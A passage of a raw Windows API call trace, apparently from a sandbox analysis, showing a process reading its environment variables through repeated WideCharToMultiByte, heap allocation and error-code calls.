cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.833] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1f) returned 0x31aa980 [0041.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x31aa980, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x4) returned 0x2fe17c8 [0041.833] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2fe17c8) returned 0x4 [0041.833] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2fe17c8, Size=0x8) returned 0x2fe17f8 [0041.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0041.833] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x36) returned 0x342520 [0041.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x342520, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2fe17f8) returned 0x8 [0041.833] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2fe17f8, Size=0xc) returned 0x30438f8 [0041.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0041.833] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x37) returned 0x31a8f48 [0041.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x31a8f48, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] GetLastError () returned 0x0 [0041.833] SetLastError (dwErrCode=0x0) [0041.833] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x30438f8) returned 0xc [0041.834] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x30438f8, Size=0x10) returned 0x3043928 [0041.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0041.834] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3c) returned 0x3042d00 [0041.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3042d00, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x3043928) returned 0x10 [0041.834] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x3043928, Size=0x14) returned 0x333a28 [0041.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0041.834] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x31) returned 0x31a8ec8 [0041.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x31a8ec8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.834] SetLastError (dwErrCode=0x0) [0041.834] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x333a28) returned 0x14 [0041.835] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x333a28, Size=0x18) returned 0x3335e8 [0041.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.835] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x17) returned 0x333a28 [0041.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x333a28, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.835] SetLastError (dwErrCode=0x0) [0041.835] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x3335e8) returned 0x18 [0041.836] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x3335e8, Size=0x1c) returned 0x31aa9a8 [0041.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.836] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x319bd78 [0041.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x319bd78, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.836] SetLastError (dwErrCode=0x0) [0041.836] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x31aa9a8) returned 0x1c [0041.837] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x31aa9a8, Size=0x20) returned 0x31aa9d0 [0041.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.837] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x14) returned 0x3335e8 [0041.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x3335e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.837] SetLastError (dwErrCode=0x0) [0041.837] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x31aa9d0) returned 0x20 [0041.838] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x31aa9d0, Size=0x24) returned 0x319bf28 [0041.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.838] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xd) returned 0x3043928 [0041.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x3043928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.838] SetLastError (dwErrCode=0x0) [0041.838] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x319bf28) returned 0x24 [0041.839] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x319bf28, Size=0x28) returned 0x319bef8 [0041.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0041.839] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x25) returned 0x319bf28 [0041.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x319bf28, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.839] GetLastError () returned 0x0 [0041.839] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.840] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x319bef8) returned 0x28 [0041.840] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x319bef8, Size=0x2c) returned 0x302f468 [0041.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0041.840] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x39) returned 0x3042d48 [0041.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x3042d48, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0041.840] GetLastError () returned 0x0 [0041.840] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.841] SetLastError (dwErrCode=0x0) [0041.841] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x302f468) returned 0x2c [0041.842] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x302f468, Size=0x30) returned 0x302f3f8 [0041.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.842] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x18) returned 0x333a48 [0041.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x333a48, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.842] SetLastError (dwErrCode=0x0) [0041.842] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] GetLastError () returned 0x0 [0041.843] SetLastError (dwErrCode=0x0) [0041.843] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x302f3f8) returned 0x30 [0041.843] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x302f3f8, Size=0x34) returned 0x31a8f88 [0041.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.843] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x17) returned 0x31940e0 [0041.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x31940e0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.844] GetLastError () returned 0x0 [0041.844] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.845] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x31a8f88) returned 0x34 [0041.845] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x31a8f88, Size=0x38) returned 0x31a8fc8 [0041.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.845] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xe) returned 0x30438f8 [0041.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x30438f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0041.845] GetLastError () returned 0x0 [0041.845] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] 